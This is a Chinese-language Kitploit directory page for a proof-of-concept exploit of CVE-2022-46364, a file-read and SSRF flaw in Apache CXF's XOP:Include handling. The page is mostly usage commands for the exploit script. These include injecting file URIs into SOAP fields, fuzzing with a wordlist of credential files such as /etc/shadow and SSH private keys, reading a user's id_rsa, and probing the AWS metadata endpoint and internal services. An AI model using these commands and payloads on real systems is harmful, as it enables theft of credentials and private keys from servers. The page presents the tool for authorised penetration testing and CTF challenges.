Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include 服务端请求伪造/本地文件包含 | Kitploit
工具/GitHubGitHub/0xmid00/cve-2022-46364-poc
漏洞分析漏洞利用Web应用程序漏洞利用模糊测试渗透测试
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include 服务端请求伪造/本地文件包含

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

作者: 0xmid00
漏洞: MTOM 请求中通过 XOP:Include 实现 SSRF / 本地文件读取
影响: Apache CXF < 3.5.5 及 < 3.4.10


什么是漏洞?

Apache CXF 处理包含 XOP:Include 元素的 MTOM(消息传输优化机制)消息。XOP:Include 的 href 属性本应引用同一 MTOM 多部分消息中的附件。

然而,在受影响版本中,CXF 会跟随 href 中提供的任意 URI,包括:

  • file:///etc/passwd → 读取本地文件(LFI)
  • http://127.0.0.1:PORT/ → 探测内部服务(SSRF)

攻击者只需发送一个包含至少一个任意类型参数的 SOAP 请求即可触发。


依赖

root@kitploit:~
pip install requests

用法

root@kitploit:~
python3 exploit.py -r request.txt [选项]

参数


请求文件格式

将原始 HTTP 请求按捕获时的原样保存到 .txt 文件中(例如从 Burp 导出):

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

该利用工具会自动将其转换为 MTOM 格式——您无需手动操作。


示例

模式 1 — 自动检测所有可注入字段

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

尝试在每个叶子 XML 元素中注入 file:///etc/passwd,并报告哪些元素返回了文件内容。


模式 1 — 测试特定字段

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

模式 2 — 文件模糊测试(先自动检测字段)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

先运行模式 1 找到可注入字段,然后通过该字段对字典中的所有路径进行模糊测试。


模式 2 — 已知字段下的文件模糊测试(最快)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

跳过字段检测,直接进行模糊测试。


读取单个文件

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

字典示例(lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

您也可以使用 SecLists:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

工作原理

  1. 解析原始 HTTP 请求文件
  2. 定位 SOAP 主体中的目标 XML 字段
  3. 将字段内容替换为 <xop:Include href="file:///..."/>
  4. 将请求封装为 MTOM 多部分格式(需要此格式才能激活 CXF 的 XOP 处理器)
  5. 发送请求——CXF 获取文件并以 Base64 编码返回文件内容
  6. 解码并打印结果

SSRF 模式

要探测内部 HTTP 服务而非读取文件:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

或将 --read 值改为任意内部 URL:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (AWS 元数据)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (SSH 横幅)

免责声明

此工具仅用于授权渗透测试和 CTF 挑战。作者对任何滥用行为不承担责任。

下载工具
参数描述
-r, --request原始 HTTP 请求文件的路径(必需)
--mode 1使用 /etc/passwd 自动检测可注入的 XML 字段
--mode 2使用文件路径字典进行模糊测试
--field NAME指定要注入的 XML 字段(跳过自动检测)
--wordlist PATH模式 2 使用的文件路径字典
--read PATH读取单个特定文件
-v, --verbose显示详细的请求信息